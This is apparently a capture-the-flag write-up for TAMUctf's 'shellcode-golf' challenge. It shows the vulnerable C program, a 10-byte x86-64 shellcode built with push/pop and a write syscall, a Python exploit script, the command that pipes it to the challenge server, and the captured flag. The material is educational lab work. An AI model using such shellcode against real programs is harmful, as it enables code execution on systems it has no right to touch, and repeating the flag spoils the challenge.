Rating:

**Problem description:** _I'll execute any shellcode you give me, but only 11 bytes of it. I bet you can't get the flag!_

Additionally, we are given a compiled executable along with its source code.

shellcode-golf.c
```c
#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>

char* get_flag() {
FILE* flag = fopen("flag.txt", "r");
char* buf = malloc(64);
if(flag == NULL) {
exit(1);
} else {
fgets(buf, 64, flag);
}
return buf;
fflush(0);
}

void main() {
char* flag = get_flag();
char* shellcode = (char*) mmap((void*) 0x1337,12, 0, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
mprotect(shellcode, 12, PROT_READ | PROT_WRITE | PROT_EXEC);
fgets(shellcode, 12, stdin);
((void (*)(char*))shellcode)(flag);
}
```

To solve this, we have to run some shellcode, but it can't be too large, so we must try to use assembly instructions whose opcodes are as small as possible. This [page](http://xxeo.com/single-byte-or-small-x86-opcodes) lists several instructions with single and two-byte x86 opcodes. Most notably, the push / pop instructions take only one byte each (at least for registers rax, rbx, rcx, rdi, and rsi).

Running the executable in gdb and pausing right before the point at which our shellcode would be executed, we can examine the current register values.

![registers](https://i.postimg.cc/XJX6H1mJ/shellcode-golf-registers.png)

Here we see that registers `rdx` and `rdi` store the address to the flag.

**Note:** _When executing the binary locally, you will need to create a flag.txt file, with a dummy flag inside for testing._

We can get the server to print out the flag for us by invoking the **write** syscall, which has the following function prototype.

```c
ssize_t write(int fd, const void *buf, size_t count);
```

The Linux x86-64 system calling convention places the first three arguments (left-to-right) in registers rdi, rsi, and rdx, with rax holding the number of the syscall we would like to invoke. In our case, we want to call **write**, which has syscall number 1. Here's a [post](https://stackoverflow.com/a/2538212/6637939) on StackOverflow, explaining x86 calling conventions on Linux.

Therefore, we need `rdi` to be 1 (i.e. the file descriptor of _stdout_), `rsi` to be the address of the flag, and `rdx` to be a positive value, which is at least the size of the flag. The following assembly will do that for us.

```asm
0000000000000000 <_start>:
0: 50 push rax
1: c1 e8 10 shr eax,0x10
4: 57 push rdi
5: 50 push rax
6: 5f pop rdi
7: 5e pop rsi
8: 5a pop rdx
9: 0f 05 syscall
```

Finally, we can create a simple Python script to print the payload to _stdout_, which can then be piped into the input of the executable.

```py
#!/usr/bin/python

import sys

payload = b''.join([
b'\x50', # push rax
b'\xc1\xe8\x10', # shr eax,0x10
b'\x57', # push rdi
b'\x50', # push rax
b'\x5f', # pop rdi
b'\x5e', # pop rsi
b'\x5a', # pop rdx
b'\x0f\x05', # syscall
])

sys.stdout.buffer.write(payload + b'\n')
```

We can now get our flag.

```sh
$ python exploit.py | openssl s_client -connect tamuctf.com:443 -servername shellcode-golf -quiet
depth=0 CN = hulkcybr1
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = hulkcybr1
verify return:1

gigem{r34lly_71ny_5h3llc0d3_018ed4}
```